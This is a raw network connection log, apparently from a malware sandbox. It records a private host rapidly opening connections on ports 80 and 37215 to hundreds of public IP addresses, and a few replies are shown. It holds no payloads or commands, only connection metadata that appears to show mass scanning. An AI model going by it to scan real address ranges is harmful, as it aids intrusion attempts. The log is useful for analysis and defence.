Feb 19, 2025 19:43:18.040760994 CET	27314	37215	192.168.2.13	197.163.43.154
Feb 19, 2025 19:43:18.040771008 CET	27058	80	192.168.2.13	95.132.205.14
Feb 19, 2025 19:43:18.040774107 CET	27314	37215	192.168.2.13	197.170.47.175
Feb 19, 2025 19:43:18.040786982 CET	27058	80	192.168.2.13	95.105.88.52
Feb 19, 2025 19:43:18.040792942 CET	27058	80	192.168.2.13	95.0.1.9
Feb 19, 2025 19:43:18.040796041 CET	27058	80	192.168.2.13	95.237.206.210
Feb 19, 2025 19:43:18.040806055 CET	27314	37215	192.168.2.13	197.102.0.15
Feb 19, 2025 19:43:18.040811062 CET	27058	80	192.168.2.13	95.153.127.216
Feb 19, 2025 19:43:18.040826082 CET	27314	37215	192.168.2.13	197.48.58.104
Feb 19, 2025 19:43:18.040828943 CET	27058	80	192.168.2.13	95.120.187.47
Feb 19, 2025 19:43:18.040843010 CET	27058	80	192.168.2.13	95.185.148.76
Feb 19, 2025 19:43:18.040858984 CET	27058	80	192.168.2.13	95.234.68.75
Feb 19, 2025 19:43:18.040868044 CET	27058	80	192.168.2.13	95.214.200.248
Feb 19, 2025 19:43:18.040888071 CET	27058	80	192.168.2.13	95.245.111.124
Feb 19, 2025 19:43:18.040889978 CET	27314	37215	192.168.2.13	197.209.75.116
Feb 19, 2025 19:43:18.040891886 CET	27058	80	192.168.2.13	95.38.32.40
Feb 19, 2025 19:43:18.040901899 CET	27058	80	192.168.2.13	95.12.84.159
Feb 19, 2025 19:43:18.040905952 CET	27314	37215	192.168.2.13	197.139.13.45
Feb 19, 2025 19:43:18.040909052 CET	27314	37215	192.168.2.13	197.17.139.179
Feb 19, 2025 19:43:18.040911913 CET	27058	80	192.168.2.13	95.209.185.23
Feb 19, 2025 19:43:18.040930986 CET	27314	37215	192.168.2.13	197.237.43.2
Feb 19, 2025 19:43:18.040932894 CET	27058	80	192.168.2.13	95.46.212.31
Feb 19, 2025 19:43:18.040940046 CET	27314	37215	192.168.2.13	197.200.244.233
Feb 19, 2025 19:43:18.040940046 CET	27058	80	192.168.2.13	95.116.15.135
Feb 19, 2025 19:43:18.040956020 CET	27058	80	192.168.2.13	95.54.2.215
Feb 19, 2025 19:43:18.040960073 CET	27314	37215	192.168.2.13	197.203.120.223
Feb 19, 2025 19:43:18.040963888 CET	27058	80	192.168.2.13	95.198.121.180
Feb 19, 2025 19:43:18.040966034 CET	27058	80	192.168.2.13	95.37.17.153
Feb 19, 2025 19:43:18.041004896 CET	27058	80	192.168.2.13	95.201.215.127
Feb 19, 2025 19:43:18.041013956 CET	27314	37215	192.168.2.13	197.93.1.152
Feb 19, 2025 19:43:18.041013956 CET	27058	80	192.168.2.13	95.208.183.32
Feb 19, 2025 19:43:18.041018963 CET	27058	80	192.168.2.13	95.247.79.93
Feb 19, 2025 19:43:18.041039944 CET	27314	37215	192.168.2.13	197.25.2.63
Feb 19, 2025 19:43:18.041039944 CET	27058	80	192.168.2.13	95.217.131.107
Feb 19, 2025 19:43:18.041054964 CET	27058	80	192.168.2.13	95.191.157.134
Feb 19, 2025 19:43:18.041054964 CET	27314	37215	192.168.2.13	197.31.220.185
Feb 19, 2025 19:43:18.041059017 CET	27058	80	192.168.2.13	95.62.238.15
Feb 19, 2025 19:43:18.041071892 CET	27058	80	192.168.2.13	95.92.6.10
Feb 19, 2025 19:43:18.041088104 CET	27058	80	192.168.2.13	95.218.70.130
Feb 19, 2025 19:43:18.041094065 CET	27314	37215	192.168.2.13	197.112.142.100
Feb 19, 2025 19:43:18.041094065 CET	27314	37215	192.168.2.13	197.173.15.1
Feb 19, 2025 19:43:18.041095018 CET	27058	80	192.168.2.13	95.77.161.144
Feb 19, 2025 19:43:18.041110992 CET	27058	80	192.168.2.13	95.37.3.236
Feb 19, 2025 19:43:18.041126966 CET	27058	80	192.168.2.13	95.157.234.0
Feb 19, 2025 19:43:18.041127920 CET	27314	37215	192.168.2.13	197.139.76.62
Feb 19, 2025 19:43:18.041131973 CET	27058	80	192.168.2.13	95.14.208.148
Feb 19, 2025 19:43:18.041141987 CET	27058	80	192.168.2.13	95.171.66.155
Feb 19, 2025 19:43:18.041146994 CET	27314	37215	192.168.2.13	197.253.251.201
Feb 19, 2025 19:43:18.041160107 CET	27058	80	192.168.2.13	95.153.126.41
Feb 19, 2025 19:43:18.041160107 CET	27058	80	192.168.2.13	95.146.196.241
Feb 19, 2025 19:43:18.041169882 CET	27058	80	192.168.2.13	95.45.147.17
Feb 19, 2025 19:43:18.041182995 CET	27314	37215	192.168.2.13	197.180.228.36
Feb 19, 2025 19:43:18.041183949 CET	27058	80	192.168.2.13	95.241.94.41
Feb 19, 2025 19:43:18.041188002 CET	27058	80	192.168.2.13	95.9.1.137
Feb 19, 2025 19:43:18.041202068 CET	27058	80	192.168.2.13	95.246.83.117
Feb 19, 2025 19:43:18.041212082 CET	27314	37215	192.168.2.13	197.85.223.179
Feb 19, 2025 19:43:18.041220903 CET	27058	80	192.168.2.13	95.218.6.80
Feb 19, 2025 19:43:18.041239023 CET	27314	37215	192.168.2.13	197.143.168.225
Feb 19, 2025 19:43:18.041240931 CET	27058	80	192.168.2.13	95.27.23.80
Feb 19, 2025 19:43:18.041254997 CET	27058	80	192.168.2.13	95.23.200.166
Feb 19, 2025 19:43:18.041254997 CET	27058	80	192.168.2.13	95.152.72.189
Feb 19, 2025 19:43:18.041295052 CET	27058	80	192.168.2.13	95.142.10.77
Feb 19, 2025 19:43:18.041295052 CET	27314	37215	192.168.2.13	197.251.195.88
Feb 19, 2025 19:43:18.041295052 CET	27058	80	192.168.2.13	95.169.165.18
Feb 19, 2025 19:43:18.041296959 CET	27058	80	192.168.2.13	95.63.183.223
Feb 19, 2025 19:43:18.041296959 CET	27058	80	192.168.2.13	95.110.54.156
Feb 19, 2025 19:43:18.041296959 CET	27058	80	192.168.2.13	95.182.75.8
Feb 19, 2025 19:43:18.041300058 CET	27314	37215	192.168.2.13	197.247.75.155
Feb 19, 2025 19:43:18.041301966 CET	27058	80	192.168.2.13	95.237.38.72
Feb 19, 2025 19:43:18.041302919 CET	27058	80	192.168.2.13	95.161.5.196
Feb 19, 2025 19:43:18.041302919 CET	27314	37215	192.168.2.13	197.195.179.18
Feb 19, 2025 19:43:18.041321993 CET	27058	80	192.168.2.13	95.118.98.188
Feb 19, 2025 19:43:18.041321993 CET	27058	80	192.168.2.13	95.32.250.115
Feb 19, 2025 19:43:18.041328907 CET	27314	37215	192.168.2.13	197.204.142.43
Feb 19, 2025 19:43:18.041333914 CET	27058	80	192.168.2.13	95.195.60.222
Feb 19, 2025 19:43:18.041335106 CET	27314	37215	192.168.2.13	197.53.190.122
Feb 19, 2025 19:43:18.041335106 CET	27058	80	192.168.2.13	95.226.93.231
Feb 19, 2025 19:43:18.041335106 CET	27058	80	192.168.2.13	95.135.76.173
Feb 19, 2025 19:43:18.041344881 CET	27058	80	192.168.2.13	95.119.170.80
Feb 19, 2025 19:43:18.041352987 CET	27314	37215	192.168.2.13	197.15.207.224
Feb 19, 2025 19:43:18.041353941 CET	27058	80	192.168.2.13	95.240.154.21
Feb 19, 2025 19:43:18.041372061 CET	27058	80	192.168.2.13	95.240.242.194
Feb 19, 2025 19:43:18.041372061 CET	27058	80	192.168.2.13	95.132.240.204
Feb 19, 2025 19:43:18.041374922 CET	27058	80	192.168.2.13	95.36.60.236
Feb 19, 2025 19:43:18.041400909 CET	27058	80	192.168.2.13	95.229.56.227
Feb 19, 2025 19:43:18.041407108 CET	27314	37215	192.168.2.13	197.63.82.231
Feb 19, 2025 19:43:18.041413069 CET	27058	80	192.168.2.13	95.53.5.27
Feb 19, 2025 19:43:18.041421890 CET	27058	80	192.168.2.13	95.212.215.177
Feb 19, 2025 19:43:18.041421890 CET	27314	37215	192.168.2.13	197.45.58.47
Feb 19, 2025 19:43:18.041429043 CET	27058	80	192.168.2.13	95.108.152.139
Feb 19, 2025 19:43:18.041440010 CET	27058	80	192.168.2.13	95.189.112.3
Feb 19, 2025 19:43:18.041448116 CET	27058	80	192.168.2.13	95.244.150.255
Feb 19, 2025 19:43:18.041462898 CET	27058	80	192.168.2.13	95.245.16.162
Feb 19, 2025 19:43:18.041465998 CET	27314	37215	192.168.2.13	197.179.130.48
Feb 19, 2025 19:43:18.041471004 CET	27058	80	192.168.2.13	95.33.124.33
Feb 19, 2025 19:43:18.041487932 CET	27058	80	192.168.2.13	95.116.154.10
Feb 19, 2025 19:43:18.041491032 CET	27314	37215	192.168.2.13	197.110.29.112
Feb 19, 2025 19:43:18.041501999 CET	27058	80	192.168.2.13	95.131.231.41
Feb 19, 2025 19:43:18.041511059 CET	27314	37215	192.168.2.13	197.32.139.22
Feb 19, 2025 19:43:18.041515112 CET	27058	80	192.168.2.13	95.75.45.204
Feb 19, 2025 19:43:18.041515112 CET	27058	80	192.168.2.13	95.255.17.120
Feb 19, 2025 19:43:18.041529894 CET	27314	37215	192.168.2.13	197.50.81.238
Feb 19, 2025 19:43:18.041543007 CET	27058	80	192.168.2.13	95.64.215.169
Feb 19, 2025 19:43:18.041543961 CET	27314	37215	192.168.2.13	197.217.77.1
Feb 19, 2025 19:43:18.041553020 CET	27058	80	192.168.2.13	95.180.178.255
Feb 19, 2025 19:43:18.041567087 CET	27058	80	192.168.2.13	95.216.35.224
Feb 19, 2025 19:43:18.041608095 CET	27058	80	192.168.2.13	95.234.255.244
Feb 19, 2025 19:43:18.041615009 CET	27314	37215	192.168.2.13	197.243.73.75
Feb 19, 2025 19:43:18.041623116 CET	27058	80	192.168.2.13	95.210.75.143
Feb 19, 2025 19:43:18.041623116 CET	27058	80	192.168.2.13	95.1.133.213
Feb 19, 2025 19:43:18.041640043 CET	27314	37215	192.168.2.13	197.9.227.101
Feb 19, 2025 19:43:18.041641951 CET	27058	80	192.168.2.13	95.67.156.134
Feb 19, 2025 19:43:18.041641951 CET	27314	37215	192.168.2.13	197.219.18.180
Feb 19, 2025 19:43:18.041640997 CET	27058	80	192.168.2.13	95.13.241.91
Feb 19, 2025 19:43:18.041641951 CET	27058	80	192.168.2.13	95.207.34.111
Feb 19, 2025 19:43:18.041641951 CET	27058	80	192.168.2.13	95.121.36.78
Feb 19, 2025 19:43:18.041663885 CET	27058	80	192.168.2.13	95.156.16.4
Feb 19, 2025 19:43:18.041681051 CET	27058	80	192.168.2.13	95.233.193.27
Feb 19, 2025 19:43:18.041682005 CET	27314	37215	192.168.2.13	197.201.53.14
Feb 19, 2025 19:43:18.041685104 CET	27058	80	192.168.2.13	95.237.173.64
Feb 19, 2025 19:43:18.041697025 CET	27314	37215	192.168.2.13	197.49.168.178
Feb 19, 2025 19:43:18.041707039 CET	27058	80	192.168.2.13	95.193.234.27
Feb 19, 2025 19:43:18.041708946 CET	27314	37215	192.168.2.13	197.190.21.73
Feb 19, 2025 19:43:18.041723013 CET	27058	80	192.168.2.13	95.3.68.140
Feb 19, 2025 19:43:18.041723967 CET	27314	37215	192.168.2.13	197.57.105.61
Feb 19, 2025 19:43:18.041723967 CET	27058	80	192.168.2.13	95.14.238.7
Feb 19, 2025 19:43:18.041750908 CET	27058	80	192.168.2.13	95.97.48.94
Feb 19, 2025 19:43:18.041752100 CET	27058	80	192.168.2.13	95.172.59.21
Feb 19, 2025 19:43:18.041752100 CET	27058	80	192.168.2.13	95.85.234.180
Feb 19, 2025 19:43:18.041752100 CET	27314	37215	192.168.2.13	197.160.118.71
Feb 19, 2025 19:43:18.041752100 CET	27058	80	192.168.2.13	95.243.84.81
Feb 19, 2025 19:43:18.041764975 CET	27314	37215	192.168.2.13	197.38.201.5
Feb 19, 2025 19:43:18.041765928 CET	27058	80	192.168.2.13	95.133.214.170
Feb 19, 2025 19:43:18.041776896 CET	27314	37215	192.168.2.13	197.167.24.217
Feb 19, 2025 19:43:18.041776896 CET	27058	80	192.168.2.13	95.43.32.249
Feb 19, 2025 19:43:18.041795015 CET	27058	80	192.168.2.13	95.219.222.244
Feb 19, 2025 19:43:18.041806936 CET	27058	80	192.168.2.13	95.101.99.35
Feb 19, 2025 19:43:18.041810036 CET	27058	80	192.168.2.13	95.234.40.18
Feb 19, 2025 19:43:18.041821957 CET	27314	37215	192.168.2.13	197.11.149.247
Feb 19, 2025 19:43:18.041825056 CET	27058	80	192.168.2.13	95.230.16.206
Feb 19, 2025 19:43:18.041842937 CET	27314	37215	192.168.2.13	197.0.143.44
Feb 19, 2025 19:43:18.041883945 CET	49976	80	192.168.2.13	112.83.57.35
Feb 19, 2025 19:43:18.041883945 CET	49976	80	192.168.2.13	112.83.57.35
Feb 19, 2025 19:43:18.041914940 CET	27314	37215	192.168.2.13	197.136.170.237
Feb 19, 2025 19:43:18.041938066 CET	27314	37215	192.168.2.13	197.135.208.10
Feb 19, 2025 19:43:18.041956902 CET	27314	37215	192.168.2.13	197.52.164.176
Feb 19, 2025 19:43:18.041979074 CET	27314	37215	192.168.2.13	197.56.34.128
Feb 19, 2025 19:43:18.041996002 CET	27314	37215	192.168.2.13	197.209.199.65
Feb 19, 2025 19:43:18.041996002 CET	27314	37215	192.168.2.13	197.249.1.161
Feb 19, 2025 19:43:18.041996002 CET	27314	37215	192.168.2.13	197.142.244.120
Feb 19, 2025 19:43:18.042052031 CET	27314	37215	192.168.2.13	197.232.210.134
Feb 19, 2025 19:43:18.042090893 CET	27314	37215	192.168.2.13	197.111.75.37
Feb 19, 2025 19:43:18.042105913 CET	27314	37215	192.168.2.13	197.116.46.31
Feb 19, 2025 19:43:18.042124987 CET	27314	37215	192.168.2.13	197.236.20.64
Feb 19, 2025 19:43:18.042146921 CET	27314	37215	192.168.2.13	197.150.109.199
Feb 19, 2025 19:43:18.042179108 CET	27314	37215	192.168.2.13	197.53.72.185
Feb 19, 2025 19:43:18.042177916 CET	27314	37215	192.168.2.13	197.70.169.246
Feb 19, 2025 19:43:18.042203903 CET	27314	37215	192.168.2.13	197.177.118.217
Feb 19, 2025 19:43:18.042217016 CET	27314	37215	192.168.2.13	197.93.87.201
Feb 19, 2025 19:43:18.042238951 CET	27314	37215	192.168.2.13	197.89.127.73
Feb 19, 2025 19:43:18.042253017 CET	27314	37215	192.168.2.13	197.240.65.100
Feb 19, 2025 19:43:18.042264938 CET	27314	37215	192.168.2.13	197.25.62.209
Feb 19, 2025 19:43:18.042268991 CET	27314	37215	192.168.2.13	197.42.181.168
Feb 19, 2025 19:43:18.042290926 CET	27314	37215	192.168.2.13	197.90.40.138
Feb 19, 2025 19:43:18.042304993 CET	27314	37215	192.168.2.13	197.182.17.24
Feb 19, 2025 19:43:18.042316914 CET	27314	37215	192.168.2.13	197.84.111.55
Feb 19, 2025 19:43:18.042337894 CET	27314	37215	192.168.2.13	197.156.76.38
Feb 19, 2025 19:43:18.042352915 CET	27314	37215	192.168.2.13	197.85.28.74
Feb 19, 2025 19:43:18.042376041 CET	27314	37215	192.168.2.13	197.185.83.110
Feb 19, 2025 19:43:18.042391062 CET	27314	37215	192.168.2.13	197.82.21.62
Feb 19, 2025 19:43:18.042407990 CET	27314	37215	192.168.2.13	197.117.160.25
Feb 19, 2025 19:43:18.042459965 CET	27314	37215	192.168.2.13	197.152.239.115
Feb 19, 2025 19:43:18.042478085 CET	27314	37215	192.168.2.13	197.58.138.222
Feb 19, 2025 19:43:18.042499065 CET	27314	37215	192.168.2.13	197.216.92.203
Feb 19, 2025 19:43:18.042520046 CET	27314	37215	192.168.2.13	197.130.104.112
Feb 19, 2025 19:43:18.042540073 CET	27314	37215	192.168.2.13	197.208.58.99
Feb 19, 2025 19:43:18.042556047 CET	27314	37215	192.168.2.13	197.206.245.103
Feb 19, 2025 19:43:18.042603970 CET	27314	37215	192.168.2.13	197.244.22.92
Feb 19, 2025 19:43:18.042624950 CET	27314	37215	192.168.2.13	197.36.185.223
Feb 19, 2025 19:43:18.042639971 CET	27314	37215	192.168.2.13	197.75.225.23
Feb 19, 2025 19:43:18.042658091 CET	27314	37215	192.168.2.13	197.44.119.168
Feb 19, 2025 19:43:18.042675018 CET	27314	37215	192.168.2.13	197.210.64.167
Feb 19, 2025 19:43:18.042695999 CET	27314	37215	192.168.2.13	197.107.179.208
Feb 19, 2025 19:43:18.042711973 CET	27314	37215	192.168.2.13	197.162.69.225
Feb 19, 2025 19:43:18.042730093 CET	27314	37215	192.168.2.13	197.55.139.231
Feb 19, 2025 19:43:18.042730093 CET	27314	37215	192.168.2.13	197.97.251.226
Feb 19, 2025 19:43:18.042781115 CET	27314	37215	192.168.2.13	197.90.240.191
Feb 19, 2025 19:43:18.042819023 CET	27314	37215	192.168.2.13	197.231.27.40
Feb 19, 2025 19:43:18.042840004 CET	27314	37215	192.168.2.13	197.171.114.25
Feb 19, 2025 19:43:18.042853117 CET	27314	37215	192.168.2.13	197.209.206.45
Feb 19, 2025 19:43:18.042875051 CET	27314	37215	192.168.2.13	197.223.39.233
Feb 19, 2025 19:43:18.042891979 CET	27314	37215	192.168.2.13	197.38.31.150
Feb 19, 2025 19:43:18.042913914 CET	27314	37215	192.168.2.13	197.248.178.249
Feb 19, 2025 19:43:18.042934895 CET	27314	37215	192.168.2.13	197.194.92.104
Feb 19, 2025 19:43:18.042952061 CET	27314	37215	192.168.2.13	197.234.104.68
Feb 19, 2025 19:43:18.042967081 CET	27314	37215	192.168.2.13	197.150.116.180
Feb 19, 2025 19:43:18.042967081 CET	27314	37215	192.168.2.13	197.0.40.218
Feb 19, 2025 19:43:18.042982101 CET	27314	37215	192.168.2.13	197.109.131.114
Feb 19, 2025 19:43:18.042998075 CET	27314	37215	192.168.2.13	197.223.121.198
Feb 19, 2025 19:43:18.043039083 CET	27314	37215	192.168.2.13	197.187.17.161
Feb 19, 2025 19:43:18.043098927 CET	27314	37215	192.168.2.13	197.22.189.183
Feb 19, 2025 19:43:18.043119907 CET	27314	37215	192.168.2.13	197.137.188.165
Feb 19, 2025 19:43:18.043137074 CET	27314	37215	192.168.2.13	197.27.129.140
Feb 19, 2025 19:43:18.043148994 CET	27314	37215	192.168.2.13	197.107.209.71
Feb 19, 2025 19:43:18.043175936 CET	27314	37215	192.168.2.13	197.219.147.26
Feb 19, 2025 19:43:18.043175936 CET	27314	37215	192.168.2.13	197.120.199.170
Feb 19, 2025 19:43:18.043190956 CET	27314	37215	192.168.2.13	197.103.50.81
Feb 19, 2025 19:43:18.043211937 CET	27314	37215	192.168.2.13	197.42.255.9
Feb 19, 2025 19:43:18.043241024 CET	27314	37215	192.168.2.13	197.97.218.34
Feb 19, 2025 19:43:18.043261051 CET	27314	37215	192.168.2.13	197.138.81.40
Feb 19, 2025 19:43:18.043279886 CET	27314	37215	192.168.2.13	197.132.35.133
Feb 19, 2025 19:43:18.043299913 CET	27314	37215	192.168.2.13	197.223.187.243
Feb 19, 2025 19:43:18.043325901 CET	27314	37215	192.168.2.13	197.132.155.51
Feb 19, 2025 19:43:18.043334961 CET	27314	37215	192.168.2.13	197.212.181.239
Feb 19, 2025 19:43:18.043334961 CET	27314	37215	192.168.2.13	197.11.57.48
Feb 19, 2025 19:43:18.043334961 CET	27314	37215	192.168.2.13	197.200.236.221
Feb 19, 2025 19:43:18.043354034 CET	27314	37215	192.168.2.13	197.56.233.25
Feb 19, 2025 19:43:18.043361902 CET	27314	37215	192.168.2.13	197.118.74.248
Feb 19, 2025 19:43:18.043404102 CET	27314	37215	192.168.2.13	197.76.218.224
Feb 19, 2025 19:43:18.043425083 CET	27314	37215	192.168.2.13	197.39.242.214
Feb 19, 2025 19:43:18.043425083 CET	27314	37215	192.168.2.13	197.78.83.224
Feb 19, 2025 19:43:18.043441057 CET	27314	37215	192.168.2.13	197.129.239.184
Feb 19, 2025 19:43:18.043457031 CET	27314	37215	192.168.2.13	197.91.203.95
Feb 19, 2025 19:43:18.043471098 CET	27314	37215	192.168.2.13	197.95.186.76
Feb 19, 2025 19:43:18.043499947 CET	27314	37215	192.168.2.13	197.194.72.132
Feb 19, 2025 19:43:18.043524981 CET	27314	37215	192.168.2.13	197.152.72.10
Feb 19, 2025 19:43:18.043564081 CET	27314	37215	192.168.2.13	197.43.156.213
Feb 19, 2025 19:43:18.043580055 CET	27314	37215	192.168.2.13	197.2.64.43
Feb 19, 2025 19:43:18.043601036 CET	27314	37215	192.168.2.13	197.98.12.106
Feb 19, 2025 19:43:18.043601036 CET	27314	37215	192.168.2.13	197.212.169.66
Feb 19, 2025 19:43:18.043615103 CET	27314	37215	192.168.2.13	197.159.166.60
Feb 19, 2025 19:43:18.043796062 CET	56024	37215	192.168.2.13	41.43.243.254
Feb 19, 2025 19:43:18.043920994 CET	56024	37215	192.168.2.13	41.43.243.254
Feb 19, 2025 19:43:18.044343948 CET	50510	80	192.168.2.13	112.83.57.35
Feb 19, 2025 19:43:18.044472933 CET	49726	80	192.168.2.13	112.70.136.137
Feb 19, 2025 19:43:18.044472933 CET	49726	80	192.168.2.13	112.70.136.137
Feb 19, 2025 19:43:18.044898033 CET	50254	80	192.168.2.13	112.70.136.137
Feb 19, 2025 19:43:18.045044899 CET	80	27058	95.87.141.187	192.168.2.13
Feb 19, 2025 19:43:18.045092106 CET	27058	80	192.168.2.13	95.87.141.187
Feb 19, 2025 19:43:18.045794010 CET	47908	80	192.168.2.13	95.87.141.187
Feb 19, 2025 19:43:18.046869993 CET	80	49976	112.83.57.35	192.168.2.13
Feb 19, 2025 19:43:18.048947096 CET	37215	56024	41.43.243.254	192.168.2.13
Feb 19, 2025 19:43:18.049535990 CET	80	49726	112.70.136.137	192.168.2.13
Feb 19, 2025 19:43:18.066755056 CET	46180	37215	192.168.2.13	41.61.56.86
Feb 19, 2025 19:43:18.066755056 CET	40818	37215	192.168.2.13	41.244.238.5
Feb 19, 2025 19:43:18.066762924 CET	44876	37215	192.168.2.13	41.240.87.4
Feb 19, 2025 19:43:18.066766977 CET	36998	37215	192.168.2.13	41.17.67.143
Feb 19, 2025 19:43:18.066780090 CET	39624	37215	192.168.2.13	41.63.31.103
Feb 19, 2025 19:43:18.066781998 CET	45070	37215	192.168.2.13	41.149.82.29
Feb 19, 2025 19:43:18.066785097 CET	53048	37215	192.168.2.13	41.139.207.55
Feb 19, 2025 19:43:18.066792965 CET	37250	37215	192.168.2.13	41.17.151.184
Feb 19, 2025 19:43:18.066801071 CET	55590	37215	192.168.2.13	41.93.245.46
Feb 19, 2025 19:43:18.066801071 CET	55888	37215	192.168.2.13	41.233.83.189
Feb 19, 2025 19:43:18.066832066 CET	37746	37215	192.168.2.13	41.241.169.74
Feb 19, 2025 19:43:18.070739985 CET	49576	80	192.168.2.13	112.255.235.27
Feb 19, 2025 19:43:18.070751905 CET	49246	80	192.168.2.13	112.87.119.220
Feb 19, 2025 19:43:18.070751905 CET	44014	80	192.168.2.13	112.254.39.209
Feb 19, 2025 19:43:18.070758104 CET	44534	80	192.168.2.13	112.166.151.222
Feb 19, 2025 19:43:18.070759058 CET	36850	80	192.168.2.13	112.76.35.167
Feb 19, 2025 19:43:18.070764065 CET	39942	80	192.168.2.13	112.24.183.150
Feb 19, 2025 19:43:18.070784092 CET	34162	80	192.168.2.13	112.187.192.161
Feb 19, 2025 19:43:18.072232008 CET	37215	46180	41.61.56.86	192.168.2.13
Feb 19, 2025 19:43:18.072244883 CET	37215	40818	41.244.238.5	192.168.2.13
Feb 19, 2025 19:43:18.072284937 CET	46180	37215	192.168.2.13	41.61.56.86
Feb 19, 2025 19:43:18.072328091 CET	40818	37215	192.168.2.13	41.244.238.5
Feb 19, 2025 19:43:18.072448969 CET	40818	37215	192.168.2.13	41.244.238.5
Feb 19, 2025 19:43:18.072472095 CET	46180	37215	192.168.2.13	41.61.56.86
Feb 19, 2025 19:43:18.072505951 CET	40818	37215	192.168.2.13	41.244.238.5
Feb 19, 2025 19:43:18.072525978 CET	46180	37215	192.168.2.13	41.61.56.86
Feb 19, 2025 19:43:18.075839043 CET	80	49576	112.255.235.27	192.168.2.13
Feb 19, 2025 19:43:18.075886011 CET	49576	80	192.168.2.13	112.255.235.27
Feb 19, 2025 19:43:18.075967073 CET	49576	80	192.168.2.13	112.255.235.27
Feb 19, 2025 19:43:18.075984001 CET	49576	80	192.168.2.13	112.255.235.27
Feb 19, 2025 19:43:18.076359034 CET	50062	80	192.168.2.13	112.255.235.27
Feb 19, 2025 19:43:18.077573061 CET	37215	40818	41.244.238.5	192.168.2.13
Feb 19, 2025 19:43:18.077594995 CET	37215	46180	41.61.56.86	192.168.2.13
Feb 19, 2025 19:43:18.080965996 CET	80	49576	112.255.235.27	192.168.2.13
Feb 19, 2025 19:43:18.081366062 CET	80	50062	112.255.235.27	192.168.2.13
Feb 19, 2025 19:43:18.081474066 CET	50062	80	192.168.2.13	112.255.235.27
Feb 19, 2025 19:43:18.081475019 CET	50062	80	192.168.2.13	112.255.235.27
Feb 19, 2025 19:43:18.086636066 CET	80	50062	112.255.235.27	192.168.2.13
Feb 19, 2025 19:43:18.086649895 CET	80	50062	112.255.235.27	192.168.2.13
Feb 19, 2025 19:43:18.086688042 CET	50062	80	192.168.2.13	112.255.235.27
Feb 19, 2025 19:43:18.090606928 CET	80	49726	112.70.136.137	192.168.2.13
Feb 19, 2025 19:43:18.090622902 CET	37215	56024	41.43.243.254	192.168.2.13
Feb 19, 2025 19:43:18.090637922 CET	80	49976	112.83.57.35	192.168.2.13
Feb 19, 2025 19:43:18.098741055 CET	53016	37215	192.168.2.13	41.197.184.75
Feb 19, 2025 19:43:18.098741055 CET	37882	80	192.168.2.13	112.209.25.241
Feb 19, 2025 19:43:18.098757029 CET	40446	80	192.168.2.13	112.198.135.203
Feb 19, 2025 19:43:18.098757982 CET	45458	80	192.168.2.13	112.108.113.231
Feb 19, 2025 19:43:18.098759890 CET	43928	80	192.168.2.13	112.98.195.103
Feb 19, 2025 19:43:18.098768950 CET	43032	80	192.168.2.13	112.247.113.209
Feb 19, 2025 19:43:18.098768950 CET	43752	80	192.168.2.13	112.123.54.157
Feb 19, 2025 19:43:18.098779917 CET	42850	80	192.168.2.13	112.95.175.223
Feb 19, 2025 19:43:18.098779917 CET	35992	37215	192.168.2.13	41.81.57.124
Feb 19, 2025 19:43:18.098779917 CET	33532	37215	192.168.2.13	41.112.198.193
Feb 19, 2025 19:43:18.098782063 CET	35754	80	192.168.2.13	112.216.241.242
Feb 19, 2025 19:43:18.098782063 CET	46006	80	192.168.2.13	112.26.19.196
Feb 19, 2025 19:43:18.098793030 CET	33148	37215	192.168.2.13	41.192.225.158
Feb 19, 2025 19:43:18.098795891 CET	57204	37215	192.168.2.13	41.67.91.133
Feb 19, 2025 19:43:18.098795891 CET	35990	37215	192.168.2.13	41.112.192.140
Feb 19, 2025 19:43:18.098798037 CET	59420	37215	192.168.2.13	41.251.60.162
Feb 19, 2025 19:43:18.098798037 CET	52956	37215	192.168.2.13	41.45.130.26
Feb 19, 2025 19:43:18.098799944 CET	45560	37215	192.168.2.13	41.67.130.238
Feb 19, 2025 19:43:18.098799944 CET	42678	80	192.168.2.13	112.130.225.137
Feb 19, 2025 19:43:18.098799944 CET	42114	37215	192.168.2.13	41.232.80.4
Feb 19, 2025 19:43:18.098799944 CET	52928	37215	192.168.2.13	41.158.52.189
Feb 19, 2025 19:43:18.098799944 CET	38358	37215	192.168.2.13	41.214.223.11
Feb 19, 2025 19:43:18.098799944 CET	51470	37215	192.168.2.13	41.13.120.181
Feb 19, 2025 19:43:18.098799944 CET	39428	37215	192.168.2.13	41.186.74.5
Feb 19, 2025 19:43:18.098799944 CET	49364	37215	192.168.2.13	41.133.191.146
Feb 19, 2025 19:43:18.103791952 CET	37215	53016	41.197.184.75	192.168.2.13
Feb 19, 2025 19:43:18.103807926 CET	80	37882	112.209.25.241	192.168.2.13
Feb 19, 2025 19:43:18.103846073 CET	53016	37215	192.168.2.13	41.197.184.75
Feb 19, 2025 19:43:18.103863001 CET	37882	80	192.168.2.13	112.209.25.241
Feb 19, 2025 19:43:18.103939056 CET	53016	37215	192.168.2.13	41.197.184.75
Feb 19, 2025 19:43:18.103970051 CET	53016	37215	192.168.2.13	41.197.184.75
Feb 19, 2025 19:43:18.104044914 CET	37882	80	192.168.2.13	112.209.25.241
Feb 19, 2025 19:43:18.104044914 CET	37882	80	192.168.2.13	112.209.25.241
Feb 19, 2025 19:43:18.104574919 CET	38318	80	192.168.2.13	112.209.25.241
Feb 19, 2025 19:43:18.108993053 CET	37215	53016	41.197.184.75	192.168.2.13
Feb 19, 2025 19:43:18.109317064 CET	80	37882	112.209.25.241	192.168.2.13
Feb 19, 2025 19:43:18.118648052 CET	37215	46180	41.61.56.86	192.168.2.13
Feb 19, 2025 19:43:18.118662119 CET	37215	40818	41.244.238.5	192.168.2.13
Feb 19, 2025 19:43:18.122591019 CET	80	49576	112.255.235.27	192.168.2.13
Feb 19, 2025 19:43:18.130748034 CET	37118	80	192.168.2.13	112.180.178.145
Feb 19, 2025 19:43:18.130748987 CET	49386	80	192.168.2.13	112.13.224.8
Feb 19, 2025 19:43:18.130749941 CET	54428	37215	192.168.2.13	41.223.83.199
Feb 19, 2025 19:43:18.130765915 CET	44748	80	192.168.2.13	112.59.210.34
Feb 19, 2025 19:43:18.130770922 CET	48610	37215	192.168.2.13	41.10.53.160
Feb 19, 2025 19:43:18.130770922 CET	43258	37215	192.168.2.13	41.131.178.121
Feb 19, 2025 19:43:18.130770922 CET	39088	80	192.168.2.13	112.206.48.76
Feb 19, 2025 19:43:18.130773067 CET	49056	37215	192.168.2.13	41.242.77.114
Feb 19, 2025 19:43:18.130773067 CET	50446	37215	192.168.2.13	41.156.52.74
Feb 19, 2025 19:43:18.130773067 CET	55864	80	192.168.2.13	112.47.162.190
Feb 19, 2025 19:43:18.130778074 CET	33402	37215	192.168.2.13	41.51.195.234
